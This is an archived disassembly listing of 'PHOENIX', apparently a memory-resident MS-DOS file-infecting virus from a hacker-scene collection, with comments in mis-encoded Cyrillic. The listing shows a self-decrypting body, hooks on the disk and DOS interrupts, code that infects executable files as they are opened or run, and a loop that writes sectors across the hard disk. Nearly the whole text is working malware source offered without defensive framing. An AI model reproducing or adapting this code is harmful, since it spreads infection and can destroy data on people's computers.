home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / PHOENIX.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  71KB  |  1,052 lines

  1. Sourcer Listing v2.11      (GEMICHA)       !-!-!-  PHOENIX  -!-!-!
  2.  
  3.  
  4.  
  5. ---------------------------------------------------------------------------------------------------------------
  6.  
  7. 0000  95                                   xchg    ax,bp        ; ºá»áºóá¡Ñ ¡á AX
  8. 0001  BE 0100                              mov     si,100h      ; ¡á╖Ὣ▓« ¡á ºá░áºÑ¡¿┐ ┤á⌐½
  9. 0004  46                                   inc     si           ; SI=101
  10. 0005  03 34                                add     si,[si]      ; SI= ¡á╖Ὣ▓« ¡á ó¿░│▒á
  11. 0007  8B DE                                mov     bx,si        ; ºá»áºóá¡Ñ ó BX ¡á╖Ὣ▓« ¡á ó¿░│▒á
  12. 0009  33 C9                                xor     cx,cx        ; CX= 0
  13. 000B  B8 0342                              mov     ax,342h      ; ú«½Ñ¼¿¡á▓á ¡á ó¿░│▒á -20h
  14.  
  15. 000E  50                                   push    ax           ; AX -> Stack
  16.  
  17. 000F  33 4C 22                             xor     cx,[si+22h]  ;\
  18. 0012  46                                   inc     si           ;  \
  19. 0013  46                                   inc     si           ;    ¡á¼¿░á¡Ñ ¡á ¬«¡▓░«½¡á▓á
  20. 0014  48                                   dec     ax           ;    ▒│¼á ¡á ó¿░│▒á CRC
  21. 0015                       data_2          db      7Dh          ;  /
  22. 0015  7D F8                                jge     000Fh        ;/
  23.  
  24. 0017  5A                                   pop     dx           ; Stack -> DX
  25.  
  26. 0018  31 4F 22                             xor     [bx+22h],cx  ;\
  27. 001B  43                                   inc     bx           ;  \
  28. 001C  43                                   inc     bx           ;    ░Ậ«ñ¿░á╣á
  29. 001D  4A                                   dec     dx           ;    ╖á▒▓
  30. 001E                       data_3          db      7Dh          ;  /
  31. 001E  7D F8                                jge     0018h        ;/
  32.  
  33. 0020  87 F6                                xchg    si,si        ;
  34. 0022  87 D1                                xchg    dx,cx        ; dx= CRC  cx= 0
  35. 0024  FA                                   cli                  ; ºáí░á¡á ºá »░Ѭ║▒óá¡Ñ
  36. 0025  81 C6 F97C                           add     si,0F97Ch    ; SI= ¡á╖Ὣ▓« ¡á ó¿░│▒á
  37. 0029  FC                                   cld                  ; Clear direction
  38. 002A  8B DC                                mov     bx,sp        ; BX= stack offset
  39. 002C  B1 04                                mov     cl,4
  40. 002E  D3 EB                                shr     bx,cl        ; BX= BX * 16d +1
  41. 0030  43                                   inc     bx           ; /
  42. 0031  8C D0                                mov     ax,ss        ; AX= stack seg
  43. 0033  03 D8                                add     bx,ax        ; BX= org addr stack
  44.  
  45. 0035  BF 0004                              mov     di,4         ;
  46. 0038  8B 45 FE                             mov     ax,[di-2]    ; AX= seg last paragraph
  47. 003B  1E                                   push    ds           ; DS -> Stack
  48. 003C  8E DF                                mov     ds,di        ; DS= 0004h
  49. 003E  3B 45 66                             cmp     ax,[di+66h]  ; ▒«╖¿ ½¿ INT 2A ó »«▒½Ññ¡¿┐ »á░áú░á┤ ?
  50. 0041  74 16                                je      loc_3        ; ???
  51. 0043  80 EC 02                             sub     ah,2         ; AX= AX- 512d
  52. 0046  3B D8                                cmp     bx,ax        ; ¿¼á ½¿ »░Ñ»«¬░¿óá¡Ñ ¡á stack ▒ last par.
  53. 0048  73 59                                jae     loc_6        ; Jump if above or =
  54. 004A  4F                                   dec     di           ;
  55. 004B  4F                                   dec     di           ; - di= 2
  56. 004C  AB                                   stosw                ; ax to es:[di] ºá»¿▒óá ó PSP ¡á ▒Ñú¼Ñ¡▓á
  57. 004D  8C C3                                mov     bx,es        ; \
  58. 004F  4B                                   dec     bx           ;   ES= ES-1 ▒«╖¿ ¡á╖Ὣ▓« ¡á ▓Ѭ│╣¿┐ í½«¬
  59. 0050  8E C3                                mov     es,bx        ; /
  60. 0052  26: 80 2D 02                         sub     byte ptr es:[di],2 ;  ¡á¼á½┐óá í½«¬á ▒ 521d bytes
  61. 0056  89 45 66                             mov     [di+66h],ax  ; »░«¼┐¡á ¡á seg ºá INT 2A
  62. 0059                       loc_3:
  63. 0059  C7 45 64 0526                        mov     word ptr [di+64h],526h ; »░«¼┐¡á ¡á off ºá INT 2A
  64. 005E  4A                                   dec     dx           ; ¡á¼á½┐ CRC ▒ 1
  65. 005F  52                                   push    dx           ; ºá»¿▒óá ▒Ñ ó ▒▓Ѭá
  66. 0060  50                                   push    ax           ; ºá»¿▒ ¡á »░ạ¿┐ ▒Ñú¼Ñ¡▓
  67. 0061  C4 5D 08                             les     bx,dword ptr [di+8]    ; ES:BX = [ INT 13 ]
  68. 0064  B4 13                                mov     ah,13h       ; \
  69. 0066  CD 2F                                int     2Fh          ;
  70. 0068  06                                   push    es           ; ºá»áºóá¡Ñ ¡á
  71. 0069  53                                   push    bx           ; «░¿ú¿¡á½¡¿┐
  72. 006A  B4 13                                mov     ah,13h       ;   INT 13
  73. 006C  CD 2F                                int     2Fh          ; /
  74. 006E  8C C2                                mov     dx,es        ; DX= ▓Ѭ│╣¿┐ 13
  75. 0070  5B                                   pop     bx           ; \
  76. 0071  07                                   pop     es           ; ES:BX [org INT 13]
  77. 0072  8C C0                                mov     ax,es
  78. 0074  3B C2                                cmp     ax,dx        ; ▓Ѭ│╣¿┐ «░¿ú¿¡á½Ñ¡?
  79. 0076  1F                                   pop     ds           ; DS= »░áºÑ¡ ▒Ñú¼Ñ¡▓
  80. 0077  9C                                   pushf                ; Push flags
  81. 0078  06                                   push    es           ;\
  82. 0079  53                                   push    bx           ; ºá»áºóá¡Ñ ¡á [org INT 13]
  83. 007A  1E                                   push    ds           ; ºá»áºóá¡Ñ ¡á »░ạ¿┐ ▒Ñú¼Ñ¡▓
  84. 007B  74 0D                                jz      loc_4        ; ▓Ѭ│╣¿┐ INT 13 org
  85. 007D  8C DA                                mov     dx,ds
  86. 007F  3B C2                                cmp     ax,dx
  87. 0081  72 5E                                jb      loc_7        ; Jump if below
  88. 0083  BA 059A                              mov     dx,59Ah
  89. 0086  B4 13                                mov     ah,13h
  90. 0088  CD 2F                                int     2Fh
  91. 008A                       loc_4:
  92. 008A  07                                   pop     es           ; »░ạ¿┐ ▒Ñú¼Ñ¡▓
  93. 008B  33 FF                                xor     di,di        ; DI= 0
  94. 008D  56                                   push    si           ; ó¿░│▒á ¡á╖Ὣ -> Stack
  95. 008E  B9 0355                              mov     cx,355h      ; 853d
  96. 0091  F3/ 2E: A5                           rep     movs word ptr es:[di],word ptr cs:[si]
  97.                                                         ;»░Ñ╡ó║░½┐¡Ñ ¡á 853d íá⌐▓á «▓ ó¿░│▒á ¡á╖Ὣ▓«?
  98. 0094  5E                                   pop     si           ; Stack -> ó¿░│▒á ¡á╖Ὣ
  99. 0095  B0 EA                                mov     al,0EAh
  100. 0097  AA                                   stosb                ; ºá»¿▒óá jmp ó es:[di]
  101. 0098  B1 04                                mov     cl,4
  102.  
  103. 009A                       locloop_5:
  104. 009A  58                                   pop     ax
  105. 009B  AB                                   stosw                           ; Store ax to es:[di]
  106. 009C  E2 FC                                loop    locloop_5               ; Loop if cx > 0
  107.  
  108. 009E  B8 FE00                              mov     ax,0FE00h
  109. 00A1  AA                                   stosb                           ; Store al to es:[di]
  110. 00A2  AB                                   stosw                           ; Store ax to es:[di]
  111. 00A3                       loc_6:
  112. 00A3  07                                   pop     es
  113. 00A4  FB                                   sti                             ; Enable interrupts
  114. 00A5  0E                                   push    cs
  115. 00A6  1F                                   pop     ds
  116. 00A7  BF 00FE                              mov     di,0FEh
  117. 00AA  57                                   push    di
  118. 00AB  56                                   push    si
  119. 00AC  81 C6 00C8                           add     si,0C8h
  120. 00B0  A5                                   movsw                           ; Mov [si] to es:[di]
  121. 00B1  A5                                   movsw                           ; Mov [si] to es:[di]
  122. 00B2  A4                                   movsb                           ; Mov [si] to es:[di]
  123. 00B3  5F                                   pop     di
  124. 00B4  AD                                   lodsw                           ; String [si] to ax
  125. 00B5  FE C4                                inc     ah
  126. 00B7  96                                   xchg    ax,si
  127. 00B8  95                                   xchg    ax,bp
  128. 00B9  B9 0354                              mov     cx,354h
  129. 00BC  C3                                   retn
  130.  
  131. 00BD                                       db      'PHOENIX',0
  132.  
  133. 00C5  01 4C D0                             add     [si-30],cx
  134. 00C8  F3                                   repz
  135. 00C9  A5                                   movsw                           ; Mov [si] to es:[di]
  136. 00CA                       data_5          dw      34BCh
  137. 00CA  4D                                   dec     bp
  138. 00CB  5A                                   pop     dx
  139. 00CC  BA 47 08                             mov     dx,0847
  140. 00CF  E9 0F85                              jmp     18EBh
  141. 00D2  BF 004C                              mov     di,4Ch
  142. 00D5  8B 5D B6                             mov     bx,[di-4Ah]
  143. 00D8  33 D2                                xor     dx,dx                   ; Zero register
  144. 00DA  8E DA                                mov     ds,dx
  145. 00DC  3B 5D 5E                             cmp     bx,[di+5Eh]
  146. 00DF  74 52                                je      loc_11                  ; Jump if equal
  147. 00E1                       loc_7:
  148. 00E1  B2 80                                mov     dl,80h
  149. 00E3  B4 08                                mov     ah,8
  150. 00E5  CD 13                                int     13h                     ; Disk  dl=drive #: ah=func a8h
  151.                                                                                 ;  read parameters for drive dl
  152. 00E7  72 4A                                jc      loc_11                  ; Jump if carry Set
  153. 00E9  52                                   push    dx
  154. 00EA  B4 13                                mov     ah,13h
  155. 00EC  CD 2F                                int     2Fh                     ; Multiplex/Spooler al=func 00h
  156.                                                                                 ;  get installed status
  157. 00EE  FC                                   cld                             ; Clear direction
  158. 00EF  06                                   push    es
  159. 00F0  33 C0                                xor     ax,ax                   ; Zero register
  160. 00F2  8E C0                                mov     es,ax
  161. 00F4  E6 61                                out     61h,al                  ; port 61h, 8255 B - spkr, etc
  162.                                                                                 ;  al = 0, disable parity
  163. 00F6  93                                   xchg    ax,bx
  164. 00F7  AB                                   stosw                           ; Store ax to es:[di]
  165. 00F8  58                                   pop     ax
  166. 00F9  AB                                   stosw                           ; Store ax to es:[di]
  167. 00FA  8B C1                                mov     ax,cx
  168. 00FC  8A E9                                mov     ch,cl
  169. 00FE  B1 06                                mov     cl,6
  170. 0100  D2 ED                                shr     ch,cl                   ; Shift w/zeros fill
  171. 0102  8A CC                                mov     cl,ah
  172. 0104  24 3F                                and     al,3Fh                  ; '?'
  173. 0106  8B F1                                mov     si,cx
  174. 0108  5F                                   pop     di
  175. 0109  B2 80                                mov     dl,80h
  176. 010B                       loc_8:
  177. 010B  33 C9                                xor     cx,cx                   ; Zero register
  178. 010D                       loc_9:
  179. 010D  32 F6                                xor     dh,dh                   ; Zero register
  180. 010F  51                                   push    cx
  181. 0110  86 CD                                xchg    cl,ch
  182. 0112  D0 C9                                ror     cl,1                    ; Rotate
  183. 0114  D0 C9                                ror     cl,1                    ; Rotate
  184. 0116  41                                   inc     cx
  185. 0117                       loc_10:
  186. 0117  50                                   push    ax
  187. 0118  B4 03                                mov     ah,3
  188. 011A  CD 13                                int     13h                     ; Disk  dl=drive #: ah=func a3h
  189.                                                                                 ;  write sectors from mem es:bx
  190. 011C  FE C6                                inc     dh
  191. 011E  8B C7                                mov     ax,di
  192. 0120  3A F4                                cmp     dh,ah
  193. 0122  58                                   pop     ax
  194. 0123  76 F2                                jbe     loc_10                  ; Jump if below or =
  195. 0125  59                                   pop     cx
  196. 0126  41                                   inc     cx
  197. 0127  3B CE                                cmp     cx,si
  198. 0129  76 E2                                jbe     loc_9                   ; Jump if below or =
  199. 012B  42                                   inc     dx
  200. 012C  4F                                   dec     di
  201. 012D  F7 C7 00FF                           test    di,0FFh
  202. 0131  75 D8                                jnz     loc_8                   ; Jump if not zero
  203. 0133                       loc_11:
  204. 0133  8C C2                                mov     dx,es
  205. 0135  83 C2 10                             add     dx,10h
  206. 0138  E8 0008                              call    sub_1
  207. 013B  00 00                data_9          db      0, 0
  208. 013D  0000                 data_10         dw      0
  209. 013F  0000                 data_11         dw      0
  210. 0141  0000                 data_12         dw      0
  211.  
  212.                                 ;==========================================================================
  213.                                 ;                              SUBROUTINE
  214.                                 ;==========================================================================
  215.  
  216.                                 sub_1           proc    near
  217. 0143  5F                                   pop     di
  218. 0144  0E                                   push    cs
  219. 0145  1F                                   pop     ds
  220. 0146  01 55 02                             add     [di+2],dx
  221. 0149  03 55 04                             add     dx,[di+4]
  222. 014C  8E D2                                mov     ss,dx
  223. 014E  8B 65 06                             mov     sp,[di+6]
  224. 0151  06                                   push    es
  225. 0152  1F                                   pop     ds
  226. 0153  2E: FF 2D                            jmp     dword ptr cs:[di]
  227.  
  228.                                 ;==========================================================================
  229.                                 ;                              SUBROUTINE
  230.                                 ;               INT     21
  231.                                 ;==========================================================================
  232.  
  233.  
  234. 0156  9C                                   pushf                           ; Push flags
  235. 0157  FA                                   cli                             ; Disable interrupts
  236. 0158  50                                   push    ax
  237. 0159  53                                   push    bx
  238. 015A  51                                   push    cx
  239. 015B  52                                   push    dx
  240. 015C  56                                   push    si
  241. 015D  57                                   push    di
  242. 015E  1E                                   push    ds
  243. 015F  06                                   push    es
  244. 0160  FC                                   cld                             ; Clear direction
  245. 0161  0E                                   push    cs
  246. 0162  07                                   pop     es
  247. 0163  33 C9                                xor     cx,cx
  248. 0165  80 FC 3E                             cmp     ah,3Eh
  249. 0168  74 15                                je      loc_12
  250.  
  251. 016A  8B F2                                mov     si,dx
  252. 016C  BF 06BA                              mov     di,6BAh                 ; ê¼Ñ ¡á ┤á⌐½á
  253. 016F  B1 28                                mov     cl,28h                  ; îá¬▒¿¼á½¡á ú«½Ñ¼¿¡á ¡á ┤á⌐½á
  254. 0171  F3/ A5                               rep     movsw                   ; cx >0 Mov [si] to es:[di]
  255. 0173  93                                   xchg    ax,bx                   ; ºá»áºóá¡Ñ ¡á ┤│¡¬╢¿┐▓á
  256. 0174  B8 3D00                              mov     ax,3D00h
  257. 0177  CD 21                                int     21h                     ; DOS Services  ah=function 3Dh
  258.                                                                                 ;  open file, al=mode,name@ds:dx
  259. 0179  93                                   xchg    ax,bx                   ; ó░║╣á¡Ñ ¡«¼Ñ░á ¡á ┤│¡¬╢¿┐▓á
  260. 017A  73 03                                jnc     loc_12                  ; Ç¬« ¡┐¼á ú░Ñ╕¬á -->
  261. 017C  BB FFFF                              mov     bx,0FFFFh               ; Ç¬« ¡┐¼á ú░Ñ╕¬á öî = FFFF
  262. 017F                       loc_12:
  263. 017F  91                                   xchg    ax,cx                   ; ºá»áºóá ó CX ┤│¡¬╢¿┐▓á
  264. 0180  8E D8                                mov     ds,ax                   ; DS= 0
  265. 0182  BF 06A6                              mov     di,6A6h                 ; DW  INT 13
  266. 0185  BE 004C                              mov     si,4Ch
  267. 0188  B8 0690                              mov     ax,690h                 ; Vir  INT 13
  268. 018B  87 04                                xchg    ax,[si]                 ; Read Int 13 ofs
  269. 018D  AB                                   stosw                           ; Store ax to CS:[6A6]
  270. 018E  50                                   push    ax                      ; Int13 Ofs -> Stack
  271. 018F  8C C0                                mov     ax,es
  272. 0191  87 44 02                             xchg    ax,[si+2]               ; Read Int 13 seg
  273. 0194  AB                                   stosw                           ; Store ax to es:[di]
  274. 0195  50                                   push    ax                      ; Int13 Seg -> Stack
  275.  
  276. 0196  B8 0597                              mov     ax,597h                 ; Vir INT 24
  277. 0199  87 44 44                             xchg    ax,[si+44h]
  278. 019C  50                                   push    ax                      ; INT24 Ofs -> Stack
  279. 019D  8C C0                                mov     ax,es
  280. 019F  87 44 46                             xchg    ax,[si+46h]
  281. 01A2  50                                   push    ax                      ; INT24 Seg -> Stack
  282. 01A3  1E                                   push    ds                      ; 0   -> Stack
  283. 01A4  56                                   push    si                      ; 4C  -> Stack
  284. 01A5  32 D2                                xor     dl,dl
  285. 01A7  B8 3302                              mov     ax,3302h                ; DOS Services  ah=function 33h
  286. 01AA  CD 21                                int     21h                     ;  ctrl-break flag al=off/on
  287. 01AC  52                                   push    dx
  288. 01AD  E8 02F3                              call    sub_2
  289. 01B0  72 16                                jc      loc_13                  ; Jump if carry Set
  290. 01B2  A1 046C                              mov     ax,word ptr ds:[46Ch]   ; (0000:046C=8335h)
  291. 01B5  26: C5 75 07                         lds     si,dword ptr es:[di+7]  ; Load 32 bit ptr
  292. 01B9  80 7C 08 02                          cmp     byte ptr [si+8],2
  293. 01BD  06                                   push    es
  294. 01BE  1F                                   pop     ds
  295. 01BF  8B 75 11                             mov     si,[di+11h]
  296. 01C2  96                                   xchg    ax,si
  297. 01C3  BA 0403                              mov     dx,403h
  298. 01C6  B1 80                                mov     cl,80h
  299. 01C8                       loc_13:
  300. 01C8  72 7C                                jc      loc_22                  ; Jump if carry Set
  301. 01CA  2D 07A8                              sub     ax,7A8h
  302. 01CD  87 45 15                             xchg    ax,[di+15h]
  303. 01D0  50                                   push    ax
  304. 01D1  72 03                                jc      loc_14                  ; Jump if carry Set
  305. 01D3  84 75 04                             test    dh,[di+4]
  306. 01D6                       loc_14:
  307. 01D6  75 7E                                jnz     loc_24                  ; Jump if not zero
  308. 01D8  80 FD 3E                             cmp     ch,3Eh                  ; '>'
  309. 01DB  75 05                                jne     loc_15                  ; Jump if not equal
  310. 01DD  BA 0002                              mov     dx,2
  311. 01E0  B1 C0                                mov     cl,0C0h
  312. 01E2                       loc_15:
  313. 01E2  22 4D 05                             and     cl,[di+5]
  314. 01E5  75 6F                                jnz     loc_24                  ; Jump if not zero
  315. 01E7  2E: 89 16 06B6                       mov     word ptr cs:[6B6h],dx   ; (06B6=403h)
  316. 01EC  83 7D 13 00                          cmp     word ptr [di+13h],0
  317. 01F0  75 64                                jne     loc_24                  ; Jump if not equal
  318. 01F2  8B 45 28                             mov     ax,[di+28h]
  319. 01F5  3D 5845                              cmp     ax,5845h
  320. 01F8  74 13                                je      loc_16                  ; Jump if equal
  321. 01FA  3D 4F43                              cmp     ax,4F43h
  322. 01FD  75 13                                jne     loc_17                  ; Jump if not equal
  323. 01FF  3B 45 20                             cmp     ax,[di+20h]
  324. 0202  B8 4D4D                              mov     ax,4D4Dh
  325. 0205  75 06                                jnz     loc_16                  ; Jump if not zero
  326. 0207  3B 45 22                             cmp     ax,[di+22h]
  327. 020A  75 01                                jne     loc_16                  ; Jump if not equal
  328. 020C  41                                   inc     cx
  329. 020D                       loc_16:
  330. 020D  3A 45 2A                             cmp     al,[di+2Ah]
  331. 0210  74 05                                je      loc_18                  ; Jump if equal
  332. 0212                       loc_17:
  333. 0212  80 FD 4B                             cmp     ch,4Bh                  ; 'K'
  334. 0215  75 3F                                jne     loc_24                  ; Jump if not equal
  335. 0217                       loc_18:
  336. 0217  51                                   push    cx
  337. 0218  FF 75 15                             push    word ptr [di+15h]
  338. 021B  0E                                   push    cs
  339. 021C  1F                                   pop     ds
  340. 021D  B9 0002                              mov     cx,2
  341. 0220  B4 3F                                mov     ah,3Fh                  ; '?'
  342. 0222  E8 02A5                              call    sub_6
  343. 0225  72 13                                jc      loc_21                  ; Jump if carry Set
  344. 0227  A1 070A                              mov     ax,word ptr ds:[70Ah]   ; (070A=0BF95h)
  345. 022A  0A C4                                or      al,ah
  346. 022C  75 05                                jnz     loc_19                  ; Jump if not zero
  347. 022E  E8 0294                              call    sub_4
  348. 0231  72 07                                jc      loc_21                  ; Jump if carry Set
  349. 0233                       loc_19:
  350. 0233  87 F2                                xchg    si,dx
  351.  
  352. 0235                       locloop_20:
  353. 0235  AC                                   lodsb                           ; String [si] to al
  354. 0236  84 C0                                test    al,al
  355. 0238  E1 FB                                loopz   locloop_20              ; Loop if zf=1, cx>0
  356. 023A                       loc_21:
  357. 023A  58                                   pop     ax
  358. 023B  59                                   pop     cx
  359. 023C  06                                   push    es
  360. 023D  1F                                   pop     ds
  361. 023E  72 16                                jc      loc_24                  ; Jump if carry Set
  362. 0240  75 07                                jnz     loc_23                  ; Jump if not zero
  363. 0242  41                                   inc     cx
  364. 0243  92                                   xchg    ax,dx
  365. 0244  EB 5F                                jmp     short loc_29
  366. 0246                       loc_22:
  367. 0246  E9 0154                              jmp     loc_37
  368. 0249                       loc_23:
  369. 0249  84 C9                                test    cl,cl
  370. 024B  75 09                                jnz     loc_24                  ; Jump if not zero
  371. 024D  8A 45 12                             mov     al,[di+12h]
  372. 0250  F6 D0                                not     al
  373. 0252  A8 38                                test    al,38h                  ; '8'
  374. 0254  75 3D                                jnz     loc_28                  ; Jump if not zero
  375. 0256                       loc_24:
  376. 0256  8F 45 15                             pop     word ptr [di+15h]
  377. 0259  80 FD 4B                             cmp     ch,4Bh                  ; 'K'
  378. 025C  75 E8                                jne     loc_22                  ; Jump if not equal
  379. 025E  B4 3E                                mov     ah,3Eh                  ; '>'
  380. 0260  CD 21                                int     21h                     ; DOS Services  ah=function 3Eh
  381.                                                                                 ;  close file, bx=file handle
  382. 0262  0E                                   push    cs
  383. 0263  1F                                   pop     ds
  384. 0264  0E                                   push    cs
  385. 0265  07                                   pop     es
  386. 0266  BE 06BA                              mov     si,6BAh
  387. 0269  8B FE                                mov     di,si
  388. 026B  B4 60                                mov     ah,60h                  ; '`'
  389. 026D  CD 21                                int     21h                     ; DOS Services  ah=function 60h
  390. 026F  72 1F                                jc      loc_27                  ; Jump if carry Set
  391. 0271  84 C0                                test    al,al
  392. 0273  75 1B                                jnz     loc_27                  ; Jump if not zero
  393. 0275                       loc_25:
  394. 0275  AC                                   lodsb                           ; String [si] to al
  395. 0276  3C 5C                                cmp     al,5Ch                  ; '\'
  396. 0278  75 02                                jne     loc_26                  ; Jump if not equal
  397. 027A  8B FE                                mov     di,si
  398. 027C                       loc_26:
  399. 027C  84 C0                                test    al,al
  400. 027E  75 F5                                jnz     loc_25                  ; Jump if not zero
  401. 0280  57                                   push    di
  402. 0281  B8 2E2A                              mov     ax,2E2Ah
  403. 0284  AB                                   stosw                           ; Store ax to es:[di]
  404. 0285  A1 01F6                              mov     ax,word ptr ds:[1F6h]   ; (01F6=5845h)
  405. 0288  AB                                   stosw                           ; Store ax to es:[di]
  406. 0289  32 E4                                xor     ah,ah                   ; Zero register
  407. 028B  AB                                   stosw                           ; Store ax to es:[di]
  408. 028C  5F                                   pop     di
  409. 028D  E9 0132                              jmp     loc_39
  410. 0290                       loc_27:
  411. 0290  E9 010E                              jmp     loc_38
  412. 0293                       loc_28:
  413. 0293  33 C0                                xor     ax,ax                   ; Zero register
  414. 0295  92                                   xchg    ax,dx
  415. 0296  86 C4                                xchg    al,ah
  416. 0298  50                                   push    ax
  417. 0299  8B 75 11                             mov     si,[di+11h]
  418. 029C  83 EE 03                             sub     si,3
  419. 029F  F7 F6                                div     si                      ; ax,dx rem=dx:ax/reg
  420. 02A1  83 C2 03                             add     dx,3
  421. 02A4  58                                   pop     ax
  422. 02A5                       loc_29:
  423. 02A5  FF 75 05                             push    word ptr [di+5]
  424. 02A8  51                                   push    cx
  425. 02A9  52                                   push    dx
  426. 02AA  53                                   push    bx
  427. 02AB  33 D2                                xor     dx,dx                   ; Zero register
  428. 02AD  89 55 15                             mov     [di+15h],dx
  429. 02B0  0E                                   push    cs
  430. 02B1  1F                                   pop     ds
  431. 02B2  B9 0090                              mov     cx,90h
  432. 02B5  F7 F1                                div     cx                      ; ax,dx rem=dx:ax/reg
  433. 02B7  E8 0236                              call    sub_9
  434. 02BA  A2 0015                              mov     data_2,al               ; (0015=7Dh)
  435. 02BD  E8 0230                              call    sub_9
  436. 02C0  A2 001E                              mov     data_3,al               ; (001E=7Dh)
  437. 02C3  92                                   xchg    ax,dx
  438. 02C4  B2 06                                mov     dl,6
  439. 02C6  F6 F2                                div     dl                      ; al, ah rem = ax/reg
  440. 02C8  BE 070A                              mov     si,70Ah
  441. 02CB  BB 051D                              mov     bx,51Dh
  442. 02CE  E8 0201                              call    sub_8
  443. 02D1  88 04                                mov     [si],al
  444. 02D3  46                                   inc     si
  445. 02D4  BB 0520                              mov     bx,520h
  446. 02D7  E8 01F6                              call    sub_7
  447. 02DA  BB 0523                              mov     bx,523h
  448. 02DD  E8 01F0                              call    sub_7
  449. 02E0  BB 0709                              mov     bx,709h
  450. 02E3  BE 04F9                              mov     si,4F9h
  451. 02E6  B9 0024                              mov     cx,24h
  452.  
  453. 02E9                       locloop_30:
  454. 02E9  AC                                   lodsb                           ; String [si] to al
  455. 02EA  84 C0                                test    al,al
  456. 02EC  74 1F                                jz      loc_32                  ; Jump if zero
  457. 02EE  50                                   push    ax
  458. 02EF  24 07                                and     al,7
  459. 02F1  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  460. 02F2  B4 F8                                mov     ah,0F8h
  461. 02F4  92                                   xchg    ax,dx
  462. 02F5  58                                   pop     ax
  463. 02F6  51                                   push    cx
  464. 02F7  B1 03                                mov     cl,3
  465. 02F9  D2 E8                                shr     al,cl                   ; Shift w/zeros fill
  466. 02FB  74 07                                jz      loc_31                  ; Jump if zero
  467. 02FD  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  468. 02FE  D2 E0                                shl     al,cl                   ; Shift w/zeros fill
  469. 0300  0A D0                                or      dl,al
  470. 0302  B6 C0                                mov     dh,0C0h
  471. 0304                       loc_31:
  472. 0304  59                                   pop     cx
  473. 0305  20 B4 FB06                           and     byte ptr ds:[0FB06h][si],dh     ; (FB06=0FFh)
  474. 0309  08 94 FB06                           or      byte ptr ds:[0FB06h][si],dl     ; (FB06=0FFh)
  475. 030D                       loc_32:
  476. 030D  E2 DA                                loop    locloop_30              ; Loop if cx > 0
  477.  
  478. 030F  5B                                   pop     bx
  479. 0310  BA 00CA                              mov     dx,0CAh
  480. 0313  B1 03                                mov     cl,3
  481. 0315  B4 3F                                mov     ah,3Fh                  ; '?'
  482. 0317  CD 21                                int     21h                     ; DOS Services  ah=function 3Fh
  483.                                                                                 ;  read file, cx=bytes, to ds:dx
  484. 0319  58                                   pop     ax
  485. 031A  59                                   pop     cx
  486. 031B  72 73                                jc      loc_36                  ; Jump if carry Set
  487. 031D  26: 89 45 15                         mov     es:[di+15h],ax
  488. 0321  2D 0003                              sub     ax,3
  489. 0324  A3 00D0                              mov     word ptr ds:[0D0h],ax   ; (00D0=0F85h)
  490. 0327  A1 00CA                              mov     ax,data_5               ; (00CA=34BCh)
  491. 032A  E8 018F                              call    sub_3
  492. 032D  74 61                                jz      loc_36                  ; Jump if zero
  493. 032F  84 C9                                test    cl,cl
  494. 0331  75 25                                jnz     loc_33                  ; Jump if not zero
  495. 0333  E8 018F                              call    sub_4
  496. 0336  72 58                                jc      loc_36                  ; Jump if carry Set
  497. 0338  91                                   xchg    ax,cx
  498. 0339  26: 03 45 11                         add     ax,es:[di+11h]
  499. 033D  2B C1                                sub     ax,cx
  500. 033F  26: 89 45 15                         mov     es:[di+15h],ax
  501. 0343  A3 00CD                              mov     word ptr ds:[0CDh],ax   ; (00CD=1630h)
  502. 0346  B4 40                                mov     ah,40h                  ; '@'
  503. 0348  CD 21                                int     21h                     ; DOS Services  ah=function 40h
  504.                                                                                 ;  write file cx=bytes, to ds:dx
  505. 034A  3B C1                                cmp     ax,cx
  506. 034C  75 42                                jne     loc_36                  ; Jump if not equal
  507. 034E  A1 00D0                              mov     ax,word ptr ds:[0D0h]   ; (00D0=0F85h)
  508. 0351  05 0003                              add     ax,3
  509. 0354  26: 89 45 15                         mov     es:[di+15h],ax
  510. 0358                       loc_33:
  511. 0358  33 D2                                xor     dx,dx                   ; Zero register
  512. 035A  8B F2                                mov     si,dx
  513. 035C  B9 0353                              mov     cx,353h
  514.  
  515. 035F                       locloop_34:
  516. 035F  AD                                   lodsw                           ; String [si] to ax
  517. 0360  81 FE 0022                           cmp     si,22h
  518.                                                 nop                             ; Fixup for MASM (M)
  519. 0364  72 06                                jb      loc_35                  ; Jump if below
  520. 0366  33 06 06B1                           xor     ax,word ptr ds:[6B1h]   ; (06B1=0FFF0h)
  521. 036A  33 D0                                xor     dx,ax
  522. 036C                       loc_35:
  523. 036C  89 84 0708                           mov     word ptr ds:[708h][si],ax       ; (0708=0)
  524. 0370  E2 ED                                loop    locloop_34              ; Loop if cx > 0
  525.  
  526. 0372  33 16 06B1                           xor     dx,word ptr ds:[6B1h]   ; (06B1=0FFF0h)
  527. 0376  31 94 012A                           xor     word ptr ds:[12Ah][si],dx       ; (012A=42E2h)
  528. 037A  B4 40                                mov     ah,40h                  ; '@'
  529. 037C  E8 0148                              call    sub_5
  530. 037F  33 C8                                xor     cx,ax
  531. 0381  75 0D                                jnz     loc_36                  ; Jump if not zero
  532. 0383  26: 89 4D 15                         mov     es:[di+15h],cx
  533. 0387  BA 00CF                              mov     dx,0CFh
  534. 038A  B1 03                                mov     cl,3
  535. 038C  B4 40                                mov     ah,40h                  ; '@'
  536. 038E  CD 21                                int     21h                     ; DOS Services  ah=function 40h
  537.                                                                                 ;  write file cx=bytes, to ds:dx
  538. 0390                       loc_36:
  539. 0390  58                                   pop     ax
  540. 0391  0A C4                                or      al,ah
  541. 0393  24 40                                and     al,40h                  ; '@'
  542. 0395  26: 08 45 06                         or      es:[di+6],al
  543. 0399  26: 8F 45 15                         pop     word ptr es:[di+15h]
  544. 039D                       loc_37:
  545. 039D  B4 3E                                mov     ah,3Eh                  ; '>'
  546. 039F  CD 21                                int     21h                     ; DOS Services  ah=function 3Eh
  547.                                                                                 ;  close file, bx=file handle
  548. 03A1                       loc_38:
  549. 03A1  5A                                   pop     dx
  550. 03A2  B8 3301                              mov     ax,3301h
  551. 03A5  CD 21                                int     21h                     ; DOS Services  ah=function 33h
  552.                                                                                 ;  ctrl-break flag al=off/on
  553. 03A7  5E                                   pop     si
  554. 03A8  1F                                   pop     ds
  555. 03A9  8F 44 46                             pop     word ptr [si+46h]
  556. 03AC  8F 44 44                             pop     word ptr [si+44h]
  557. 03AF  8F 44 02                             pop     word ptr [si+2]
